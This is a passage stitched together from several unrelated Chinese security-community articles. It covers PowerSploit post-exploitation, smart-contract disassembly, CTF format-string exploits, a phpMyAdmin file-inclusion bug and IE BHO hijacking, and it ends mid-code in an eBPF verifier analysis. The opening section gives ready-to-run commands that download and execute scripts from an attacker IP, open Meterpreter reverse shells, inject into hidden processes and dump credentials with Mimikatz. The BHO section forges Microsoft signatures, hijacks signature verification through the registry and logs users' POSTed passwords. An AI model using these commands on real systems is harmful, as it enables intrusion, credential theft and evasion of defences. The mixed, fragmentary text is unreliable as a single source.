Adress/CodeExecutio n/Invoke--Shellcode.ps1")`
[
> 在MSF里面使用reverse_https模块进行反弹，设置如下
> [
本来在Invoke-Shellcode直接使用以下这条命令进行反弹的：
`Invoke-Shellcode -Payload windows/meterpreter/reverse_https –Lhost
192.168.146.129 -Lport 4444 -Force`
但是Powersploit更新到了3.0, Invoke-Shellcode脚本没有Lhost和Lport参数，所以我们需要用到另外一种方法实现。
使用msfvenom生成一个powershell脚本。
`msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.110.129
LPORT=4444 -f powershell -o /var/www/html/test`
[
`IEX(New-Object
Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-Shellcode.ps1")`
`IEX (New-Object
Net.WebClient).DownloadString("http://192.168.110.129/test")`
`Invoke-Shellcode -Shellcode ($buf)`
[
[
> 二：进程注入
首先创建一个隐藏的进程:
`Start-Process c:windowssystem32notepad.exe -WindowStyle Hidden`
使用Get-Process命令查看当前进程，记住你刚刚创建的隐藏进程ID
[
然后使用Invoke-Shellcode脚本进行进程注入
`Invoke-Shellcode -ProcessID 2384 -Shellcode ($buf)`
[
要是你的Powersploit是2.2版本的那么可以直接使用以下命令
`Invoke-Shellcode -ProcessID 2384 –Payload windows/meterpreter/reverse_https
-Lhost 192.168.100.129 -Lport 4444`
> 三:DLL注入
Invoke-DLLInjection 是DLL注入脚本
首先下载安装DLL注入脚本到目标机器
`IEX (New-Object
Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-DllInjection.ps1")`
在MSF里面生成一个DLL注入脚本,然后下载DLL文件使用Invoke-DLLInjection脚本来实现DLL注入
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129
LPORT=4444 -f dll –o /var/www/html/msf.dll`
[
为了使隐蔽性更强，我们开启一个隐藏进程来进行 DLL 注入
`Start-Process c:windowssystem32notepad.exe -WindowStyle Hidden`
[
`Invoke-DllInjection -ProcessID 4080 -Dll .msf.dll`
[
[
> Invoke-Portscan端口扫描
`Invoke-Portscan -Hosts <IP Adress/Rangr> -Ports`
[
> Invoke-Mimikatz DUMP密码(注意此脚本需要用管理员权限运行)
`Invoke-Mimikatz –DumpCreds`
[
> Get-Keystrokes 键盘记录器
`Get-Keystrokes -LogPath + <保存位置>`
[
> Invoke-NinjaCopy 万能复制
`Invoke-NinjaCopy -Path <需要复制的文件> -LocalDestination <复制文件保存位置>`
像windows主机里有个 SAM 文件，里面数据很多有价值的信息，普通的COPY命令是无法复制的，使用万能复制可以复制 SAM 文件
[
> Invoke-ReverseDnsLookup DNS查询(好像没什么用- -！，望大家告诉我这玩意有什么用)
`Invoke-ReverseDnsLookup -IpRange <IP_Address/Range>`
[
> Get-HttpStatus 网站目录检测
`Get-HttpStatus –Target <IP Address> + 字典 (如果遇到的是HTTPS的那么后面加-UseSSL，在其他端口的那么 –Port )`
[ | 社区文章 |
# 智能合约安全系列文章反汇编·下篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上篇我们详细分析了智能合约反汇编后的代码内容，包括多个反汇编指令的含义，数据在栈中的存储方式，并通过上下文关联关系梳理代码逻辑。本篇我们将继续分析上篇遗留的反汇编代码，通过上篇学习我们已对反汇编指令在栈和内存存储的有了一定了解，该篇我们将重点来分析反汇编指令表示的代码逻辑。
## 反汇编内容
合约源代码
pragma solidity ^0.4.24;
contract Tee {
uint256 private c;
function a() public returns (uint256) { self(2); }
function b() public { c++; }
function self(uint n) internal returns (uint256) {
if (n <= 1) { return 1; }
return n * self(n - 1);
}
}
上篇文章中，我们对下图中蓝色框中的内容进行了详细分析，本篇我们分析红色框中的内容以及之后的反汇编指令。
## 反汇编分析
我们从label_004E开始分析，从反汇编上篇文章中可知，执行0x4e是上一步中判断后证明该函数签名是为a()函数，接下来我们来看0x4e中指令的主要含义：
（CALLVALUE）获取交易中的转账金额，（DUP1）复制转账金额值到栈顶，（ISZERO）把栈顶转账金额值出栈，如果该值是0则把1入栈，否则把0入栈。（JUMPI）这里如果转账金额值为0，（PUSH1
0x59）该段指令就会跳转到0x59；如果转账金额不为0，则顺序执行下一行指令。由此可知该段指令主要是为了判断a()函数是否存在转账操作。
执行完后，目前栈中就只存在一条数据：转账金额值
这里我们先来看label_004E顺序执行：
通过上图0055部分可以看出，PUSH1 0x00和DUP1指令在这里均无实际意义，这部分最终结果为停止执行，回滚状态。
接下来，我们来看跳转后0059指令内容：（pop）把栈顶值出栈，也就是转账金额值；（PUSH1 0x60和PUSH1
0x8a）将0x60和0x8a依次压入栈中；（JUMP）跳转到栈顶0x8a位置。
如图008a指令处，依次压入0x00，0x94，0x02，0xab，目前栈中布局如下：
4:0xab
3:0x02
2:0x94
1:0x00
0:0x60
之后JUMP指令将跳转至00AB，如上图。该段指令中：（PUSH1 0x00，PUSH1
0x01）依次将0x00和0x01压入栈；（DUP3）复制当前栈中第三个值0x02放入栈顶；（GT）把栈顶两个值出栈，先出栈的值0x02大于后出栈的值0x01，把1入栈；（ISZERO）把栈顶值1出栈，该值不是0把0入栈；继续（ISZERO）把栈顶值1出栈，该值是0把1入栈；（JUMPI）这里栈顶值为1，（PUSH1
0xbe）跳转到0xbe。
这里注意压入的0x02就是a()函数中调用self(2)函数传入的值。
接下来我们对a()函数的内部操作进行一个全面的梳理
下图为a()函数调用self()函数并赋值后的反汇编指令代码逻辑图：
上图的反汇编指令操作数值在栈中的布局如下所示：
以上两张图中指令执行逻辑均已进行标注，对于每个指令的操作含义就不一一介绍，我们直接来看分析之后，重点的指令操作。通过008A段中PUSH1
0x02将2压入栈中；00AB段中DUP3将2复制到栈顶，并利用GT指令将2和1进行了对比；00BE段中DUP4将2复制到栈顶，并利用SUB指令达到（2-1），最终得到相减的数值后继续跳转到00AB中对该值和1进行对比；接下来00B7段和00CD段没有实际意义，只是对一些数值进行调整；继续看00C8段中DUP3将复制到栈顶，并利用MUL指令将2和1（也就是2-1的值）进行相乘，并将所得值压入栈中，之后的0094段和0060段含义是将栈中数值进行调整，并将计算偏移量最终输出返回值。
故此我们可以得出a()函数的输入值后的代码逻辑为以下：
function a() public returns (uint256) { self(2); }
function self(uint n) internal returns (uint256) {
if (n <= 1) { return 1; }
return n * self(n - 1);
}
由于汇编指令较多，这里就不进行全面分析，需要深入学习的同学可移步反汇编二：[反汇编2](https://github.com/auuunya/pictures/blob/master/%E5%8F%8D%E6%B1%87%E7%BC%96%E4%BA%8C.sol)
## 总结
本篇文章我们分享了如何通过反汇编指令分析得到智能合约源代码逻辑，看似一段简单的智能合约代码，但反汇编出来的汇编指令却非常多。我们在之前的文章中也分享了通过分析反编译代码得到智能合约源代码逻辑，所以对于智能合约编译部署后的opcode，建议大家选择适合自己的逆向方式。
solidity智能合约逆向工具推荐：
<https://ethervm.io/decompile>
<https://contract-library.com/>
<https://github.com/crytic/ida-evm>
<https://github.com/comaeio/porosity>
<https://github.com/meyer9/ethdasm> | 社区文章 |
# CTF中格式化字符串漏洞快速利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 格式化字符串是CTF比赛中很常见的一种pwn题，但是往往需要自己手工调试，如果可以快速利用该漏洞拿到一血，这无疑可以很大的鼓舞选手的信心，并且有丰厚的分值奖励。那怎么快速利用格式化字符串漏洞呢，甚至对漏洞原理不甚了解怎么快速利用呢，本文将慢慢揭晓。
首先介绍利用该漏洞的工具：<https://github.com/hellman/libformatstr>，可以直接pip install
libformatstr安装。格式化字符串漏洞的利用方式就是在任意地址写入任意数据，比如改写got表，下边分三种情况介绍：
## 直接输入所有输入信息
测试代码：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win()
{
system("/bin/sh");
}
void main(int argc, char *argv[])
{
char buf[103];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
printf(buf);
exit(0);
}
利用思路可以直接将exit函数的got表修改为函数win的地址，这样调用exit时，函数win得到执行，获得shell。编译：gcc -Wno-format-security print_format.c -o print_format
首先计算偏移跟填充，这里举个例子：
比如用户输入aaaBBBB.%x.%x.%x.%x.%x.%x，
输出：aaaBBBB.67.b7fc1c20.bffff734.bffff6d4.61616148.42424242
那么这里偏移是6，填充是3.
下边直接用libformatstr计算：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
elf=ELF('./print_test')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_test')
r.sendline(make_pattern(bufsiz)) # send cyclic pattern to
data = r.recv() # server's response
offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding
log.info("offset : " + str(offset))
log.info("padding: " + str(padding))
这样直接计算出偏移是6，填充是3
知道了偏移 填充，以及win函数地址，exit got表地址，可以直接利用：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_test')
elf=ELF('./print_test')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_test')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(6,3)
r.sendline(buf)
r.interactive()
说明： p.payload(6,3) 直接输入偏移，填充
p[exit_got] = win_addr 因为是直接将win函数地址写入exit函数的got表，所以可以直接这样写。
## 输出有预打印字符
测试代码：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win()
{
system("/bin/sh");
}
void main(int argc, char *argv[])
{
char buf[103],out[200];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
sprintf(out,"hello,%sn",buf);
printf(out);
exit(0);
}
可以看到这次代码跟上次的不同就是输出时先输出”hello,”，再输出用户输入的数据。编译：gcc -Wno-format-security
print_format.c -o print_format
首先计算偏移填充：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
elf=ELF('./print_format')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_format')
r.sendline(make_pattern(bufsiz)) # send cyclic pattern to
data = <strong>r.recv()[6:] </strong> # server's response
offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding
log.info("offset : " + str(offset))
log.info("padding: " + str(padding))
可以看到偏移填充是8 3
此处计算计算偏移填充时，因为会预输出”hello,”,所以代码中使用r.recv()[6:] 计算。
知道了偏移填充，就可以直接利用，注意此处的预输出数据的影响，所以此时payload是p.payload(8,3,start_len=6)
完整代码：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a01c
win_addr=0x804852d
bufsiz = 100
r = process('./print_format')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(8,3,start_len=6)
r.sendline(buf)
r.interactive()
输入数据有限制
程序对用户输入的数据有限制，只能输入特定格式的数据
测试代码：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win()
{
system("/bin/sh");
}
void main(int argc, char *argv[])
{
char buf[103],out[200];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
if (!memcmp(buf,"http://",7))
{
printf(buf);
}
else
{
printf("input error!n");
}
exit(0);
}
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
elf=ELF('./print_format')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_format')
r.sendline("http://"+make_pattern(bufsiz)) # send cyclic pattern to
data = r.recv()[7:] # server's response
offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding
log.info("offset : " + str(offset))
log.info("padding: " + str(padding))
可以看到用户输入的数据必须以http://开头，首先计算偏移填充：
可以看到偏移是7，填充是1，注意此时先输入http://,在输入随机字符，计算偏移填充，收到的数据也要从第七个字符开始计算：
r.sendline(“http://”+make_pattern(bufsiz)) # send cyclic pattern to
data = r.recv()[7:]
知道了偏移填充，就可以直接利用，注意此处要先输入http:// , payload从第七位开始算（buf =
p.payload(7,1,start_len=7) r.sendline(“http://”+buf)
），完整利用代码如下：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a024
win_addr=0x804855d
bufsiz = 100
r = process('./print_format')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(7,1,start_len=7)
r.sendline("http://"+buf)
r.interactive()
最后介绍一下任意内存读取，当为第一种情况时，首先获取偏移 填充
然后：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a01c
fgets_got=0x0804a010
win_addr=0x804855d
offset=6
padding=3
bufsiz = 100
r = process('./print_format')
buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s" #calculate address of exit
r.sendline(buf)
temp=r.recv()[padding+4:padding+4*2]
print hex(u32(temp))
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a01c
fgets_got=0x0804a010
win_addr=0x804855d
offset=8
padding=3
pre_len=6 #预打印字符长度
bufsiz = 100
r = process('./print_format')
buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"
r.sendline(buf)
temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2]
print hex(u32(temp))
当遇到第二种情况时：
可以看到只是recv处理数据时，要将预打印字符长度算进去。
当为第三种情况时：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a024
fgets_got=0x0804a010
win_addr=0x804855d
offset=7
padding=1
pre_len=7
bufsiz = 100
r = process('./print_format')
buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"
r.sendline("http://"+buf)
temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2]
print temp
print hex(u32(temp))
可以看到输入输出都要将限制字符计算进去。
参考资料：
* https://github.com/hellman/libformatstr
* https://blog.techorganic.com/2015/07/01/simplifying-format-string-exploitation-with-libformatstr/ | 社区文章 |
# **漏洞影响范围：**
phpMyAdmin 4.8.0和4.8.1
# **漏洞分析：**
index.php 55-63行
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
这里需要满足如下5个条件便可以执行包含文件代码`include $_REQUEST['target'];`
1.`$_REQUEST['target']`不为空
2.`$_REQUEST['target']`是字符串
3.`$_REQUEST['target']`开头不是`index`
4.`$_REQUEST['target']`不在`$target_blacklist`中
5.`Core::checkPageValidity($_REQUEST['target'])`为真
定位到`checkPageValidity`函数在`Core.php 443-476`行
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
一开始没有`$whitelist`，所以`$whitelist`被赋值为`self::$goto_whitelist`，追踪一下`$goto_whitelist`
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
再次回到checkPageValidity函数里面知道传入的参数$page必须在上面的白名单里面才会返回true，考虑到可能会带有参数，所以有了下面的判断
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
`mb_strpos`：是一个定位函数，获取指定的字符在一个字符串中首次出现的位置
`mb_substr`：截取指定字符串中某一段
`$_page`传入的是`?`之前的内容，如果`$_page`在白名单中则返回`true`
例如传入`?target=db_datadict.php%253f`，`%253f`开始服务器自动解码一次为`%3f`，然后`urldecode`函数再解码一次为?，则满足截取?之前的内容在白名单中，返回`true`。而在`index.php`中只解码一次为`db_datadict.php%3f`，然后进行包含
# **漏洞复现：**
任意文件包含：
任意代码执行：
查看当前数据库路径：
执行SQL命令，创建数据库，创建表，创建列，插入字段代码
然后包含该文件 | 社区文章 |
# 利用BHO实现IE浏览器劫持
## 0x00 前言
* * *
本文源于一个隐蔽连接的测试，模拟IE浏览器发起网络连接，能绕过某些防护产品拦截发起网络连接的第三方程序
模拟IE浏览器发起网络连接的方法有很多种，其中，利用BHO劫持IE浏览器存在诸多优点(开放接口、简单高效、功能丰富等)，所以本文将要介绍BHO的开发和劫持利用思路
## 0x01 简介
* * *
本文将要介绍以下内容：
* BHO简介
* 开发BHO
* 利用思路
* 实际测试
* 防御
## 0x02 BHO简介
* * *
BHO，全称Browser Helper Object(浏览器辅助对象)
微软推出的作为浏览器对第三方程序员开放交互接口的业界标准
BHO的作用：
* 获取浏览器行为，如“后退”、“前进”、“当前页面”等
* 控制浏览器行为，如修改替换浏览器工具栏，添加自己的程序按钮等
BHO依托于浏览器主窗口, 与浏览器实例生命周期一致，即浏览器页面打开时BHO对象运行，页面关闭时随之结束
使用BHO时需要注册，相当于写入注册表，位于`HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser
Helper\ Objects\{GUID}`和`HKEY_CLASSES_ROOT\CLSID\{GUID}`
## 0x03 开发BHO
* * *
本节仅作简要介绍
开发工具： VS2012
### 1、生成dll
`新建`-`Visual C++`-`ATL`
`添加`-`类`-`ATL`-`ATL简单对象`，设定简称为`HelloWorldBHO`，选中`IObjectWithSite(IE对象支持)`
修改以下文件：
* HelloWorldBHO.h
* HelloWorldBHO.cpp
* dllmain.cpp
* HelloWorld.rgs
**注：**
详情可参考<http://blog.csdn.net/feier7501/article/details/11266345>
helloworld.rgs内保存BHO的GUID，如下图
HelloWorldBHO.rgs内保存BHO的名称，如下图
helloworld.rc内的`CompanyName`代表发行者，`PRODUCTVERSION`代表版本，如下图
**注：**
以上三个图对应下文加载项的显示信息
HelloWorldBHO.cpp保存IE浏览器中不同事件对应的操作，这里仅介绍一段实例代码(详细代码参照开源工程)，实现当页面加载完成时，弹框显示当前URL，关键代码如下：
void STDMETHODCALLTYPE CHelloWorldBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL)
{
BSTR url = pvarURL->bstrVal;
CComBSTR u(url);
// Retrieve the top-level window from the site.
HWND hwnd;
HRESULT hr = m_spWebBrowser->get_HWND((LONG_PTR*)&hwnd);
if (SUCCEEDED(hr))
{
MessageBox(0, u, L"the url is", MB_OK);
}
}
编译生成helloworld.dll
**注：**
如果VS2012不是管理员权限，编译时提示无法注册，接下来可以手动注册
### 2、注册dll
需要管理员权限，命令如下:
regsve32 helloworld.dll /s
**注：**
`/s`参数用来去掉注册成功的提示框
相当于写入注册表，位于`HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser
Helper\ Objects\{GUID}`和`HKEY_CLASSES_ROOT\CLSID\{GUID}`
**补充：**
卸载dll：
regsve32 helloworld.dll /s /u
或者删除对应的注册表键值
## 0x04 实际测试
* * *
测试系统： Win 7x86 IE8
打开IE浏览器，弹出对话框，显示当前URL，如下图
查看IE的加载项，位于`工具`-`管理加载项`，获得加载项信息，如下图
其中的名称、发行者、版本可通过前文的helloworld.rgs、HelloWorldBHO.rgs、helloworld.rc指定，文件日期对应dll的修改时间
由于我们自己生成的dll没有微软签名，所以显示`未验证`
## 0x05 利用思路
* * *
### 1、伪造微软签名，隐藏BHO
向helloworld.dll添加微软的Authenticode签名，修改注册表劫持系统的签名验证功能，使签名生效
可参考之前的文章：
[《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》](https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-PE%E6%96%87%E4%BB%B6%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0%E4%B8%8E%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81%E5%8A%AB%E6%8C%81/)
需要使用Microsoft Corporation的签名，可在Office文件中获得，可用的路径： `C:\Program Files\Microsoft
Office\Office14\URLREDIR.DLL`
使用SigThief添加签名，下载地址：
<https://github.com/secretsquirrel/SigThief>
参数：
sigthief.py -i "C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL" -t helloworld.dll -o new.dll
生成new.dll
修改注册表，劫持签名签证功能：
(管理员权限)
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f
注册dll，重新打开IE，查看加载项，验证通过，如下图
**注：**
修改BHO的信息能够进一步隐藏BHO
### 2、抓取浏览器POST数据，记录明文口令
抓取浏览器POST数据的开源代码可从github获得，参考地址：
<https://github.com/liigo/bho>
在BeforeNavigate2事件前抓取浏览器的POST数据
我在自己的工程中直接引用了其中的关键函数： `STDMETHODIMP CBhoApp::Invoke(DISPID dispidMember,
REFIID riid, LCID lcid, WORD wFlags, DISPPARAMS *pDispParams, VARIANT
*pvarResult, EXCEPINFO *pExcepInfo, UINT *puArgErr)`
添加函数声明，实现记录日志的功能
**注：**
GetTempPath获取当前系统的Temp目录，IE权限下实际的路径为`%Temp%\Low`
完整代码已开源，地址如下：
<https://github.com/3gstudent/IE-BHO-POSTdata-Logger>
抓取浏览器POST数据，能够获得用户输入的明文口令，例如github的登录密码，如下图
### 3、下载文件
通过这种方式下载文件，防火墙软件的管理端显示下载文件的程序为IE浏览器，能够在一定程度上实现隐藏
### 4、在IE页面注入js
可参考以下开源工程做进一步修改：
<https://github.com/xiyiaoo/BHO>
本文不做进一步介绍
### 5、补充
默认BHO的权限为low，所以在操作上会有一些限制，如果通过其他方式获得了高权限，那么可供利用的方式会更多
## 0x06 防御检测
* * *
**防御：**
BHO利用的前提是需要获得系统的管理员权限
**检测：**
* 查看IE浏览器中的加载项
* 查看IE进程加载的dll
## 0x07 小结
* * *
本文介绍了IE浏览器辅助对象BHO的开发方法，分析了在获得系统管理员权限后的利用思路，部分利用技术点到为止 | 社区文章 |
# CVE-2020-8835：Linux eBPF模块verifier组件漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## eBPF简介
> bpf系统调用执行一系列与extended Berkeley Packet Filters相关的操作，eBPF与传统的BPF相似，作用为
> 过滤网络包。对于eBPF和传统的BPF来说，为了确保它们进行的操作不会损伤运行时的系统，内核会在加载程序之前静态地分析它们。
简而言之，eBPF可以加载数据过滤代码到内核，并在进行相关操作的时候触发代码
通常见到的seccomp沙箱就是使用了eBPF模块
## eBPF程序的载入
### bpf_insn
`bpf_insn`是一个结构体，代表一条eBPF指令
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
每一个eBPF程序都是一个`bpf_insn`数组，使用bpf系统调用将其载入内核
具体每个字段的含义可以随之后的分析进行了解
### bpf_prog_load
要将eBPF程序载入内核中，需要使用bpf系统调用
#define LOG_BUF_SIZE 65536
#define __NR_BPF 321
char bpf_log_buf[LOG_BUF_SIZE];
int bpf_prog_load(enum bpf_prog_type type,
const struct bpf_insn *insns, int insn_cnt,
const char *license)
{
union bpf_attr attr = {
.prog_type = type,
.insns = ptr_to_u64(insns),
.insn_cnt = insn_cnt,
.license = ptr_to_u64(license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));
}
其中，`type`表示eBPF程序类型，不同类型的程序作用不同，例如当`type`为`BPF_PROG_TYPE_SOCKET_FILTER`时，表示该程序的作用是过滤进出口网络报文
`insns`是`bpf_insn`数组，表示该程序的指令
`insn_cnt`表示指令的条数
`license`必须为`"GPL"`
`bpf_log_bpf`中存储的是log信息，可以在程序载入内核之后打印它，能获取比较详细的验证时信息
### load_prog
int load_prog()
{
struct bpf_insn prog[] = {
……
/*
指令……
*/
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog)/sizeof(struct bpf_insn), "GPL");
}
如此这般，如何在用户态将一个eBPF程序载入内核就清楚了
## 漏洞分析
2020年3月30日，漏洞作者分享了他触发漏洞的一段`eBPF`程序[1]
0: (b7) r0 = 808464432
1: (7f) r0 >>= r0
2: (14) w0 -= 808464432
3: (07) r0 += 808464432
4: (b7) r1 = 808464432
5: (de) if w1 s<= w0 goto pc+0
6: (07) r0 += -2144337872
7: (14) w0 -= -1607454672
8: (25) if r0 > 0x30303030 goto pc+0
9: (76) if w0 s>= 0x303030 goto pc+2
10: (05) goto pc-1
11: (05) goto pc-1
12: (95) exit
这段程序触发会使当前进程空转，陷入死循环
乍一看，两个`goto pc-1`，当然会陷入死循环了，那这个Poc还有什么参考价值？
## bpf_check
以`Linux v5.6-rc5`的代码为例[2]，源码于[4]下载
在使用`bpf`系统调用将`eBPF`程序载入内核时，内核会对载入的程序进行合法性检测，以此来保证程序的安全性
在`bpf_check`中有两个主要的检查，一个是`check_cfg`，检查程序流程图，另一个是`do_check_main`，模拟执行程序来检查是否有非法操作
int bpf_check(struct bpf_prog **prog, union bpf_attr *attr,
union bpf_attr __user *uattr)
{
u64 start_time = ktime_get_ns();
struct bpf_verifier_env *env;
struct bpf_verifier_log *log;
int i, len, ret = -EINVAL;
bool is_priv;
……
ret = check_cfg(env); <------------ if (ret < 0)
goto skip_full_check;
ret = do_check_subprogs(env);
ret = ret ?: do_check_main(env); <-------------
……
}
### check_cfg
static int check_cfg(struct bpf_verifier_env *env)
{
struct bpf_insn *insns = env->prog->insnsi;
int insn_cnt = env->prog->len;
int *insn_stack, *insn_state;
int ret = 0;
int i, t;
insn_state = env->cfg.insn_state = kvcalloc(insn_cnt, sizeof(int), GFP_KERNEL);
if (!insn_state)
return -ENOMEM;
insn_stack = env->cfg.insn_stack = kvcalloc(insn_cnt, sizeof(int), GFP_KERNEL);
if (!insn_stack) {
kvfree(insn_state);
return -ENOMEM;
}
insn_state[0] = DISCOVERED; /* mark 1st insn as discovered */
insn_stack[0] = 0; /* 0 is the first instruction */
env->cfg.cur_stack = 1;
peek_stack:
if (env->cfg.cur_stack == 0)
goto check_state;
t = insn_stack[env->cfg.cur_stack - 1];
if (BPF_CLASS(insns[t].code) == BPF_JMP ||
BPF_CLASS(insns[t].code) == BPF_JMP32) {
u8 opcode = BPF_OP(insns[t].code);
if (opcode == BPF_EXIT) {
goto mark_explored;
} else if (opcode == BPF_CALL) {
ret = push_insn(t, t + 1, FALLTHROUGH, env, false);
if (ret == 1)
goto peek_stack;
else if (ret < 0)
goto err_free;
if (t + 1 < insn_cnt)
init_explored_state(env, t + 1);
if (insns[t].src_reg == BPF_PSEUDO_CALL) {
init_explored_state(env, t);
ret = push_insn(t, t + insns[t].imm + 1, BRANCH,
env, false);
if (ret == 1)
goto peek_stack;
else if (ret < 0)
goto err_free;
}
} else if (opcode == BPF_JA) {
if (BPF_SRC(insns[t].code) != BPF_K) {
ret = -EINVAL;
goto err_free;
}
/* unconditional jump with single edge */
ret = push_insn(t, t + insns[t].off + 1, <----------------- 1
FALLTHROUGH, env, true);
if (ret == 1)
goto peek_stack;
else if (ret < 0)
goto err_free;
/* unconditional jmp is not a good pruning point,
* but it's marked, since backtracking needs
* to record jmp history in is_state_visited().
*/
init_explored_state(env, t + insns[t].off + 1);
/* tell verifier to check for equivalent states
* after every call and jump
*/
if (t + 1 < insn_cnt)
init_explored_state(env, t + 1);
} else {
/* conditional jump with two edges */
init_explored_state(env, t);
ret = push_insn(t, t + 1, FALLTHROUGH, env, true);
if (ret == 1)
goto peek_stack;
else if (ret < 0)
goto err_free;
ret = push_insn(t, t + insns[t].off + 1, BRANCH, env, true);
if (ret == 1)
goto peek_stack;
else if (ret < 0)
goto err_free;
}
} else {
/* all other non-branch instructions with single
* fall-through edge
*/
ret = push_insn(t, t + 1, FALLTHROUGH, env, false);
if (ret == 1)
goto peek_stack;
else if (ret < 0)
goto err_free;
}
mark_explored: <------------------------ 2
insn_state[t] = EXPLORED;
if (env->cfg.cur_stack-- <= 0) {
verbose(env, "pop stack internal bugn");
ret = -EFAULT;
goto err_free;
}
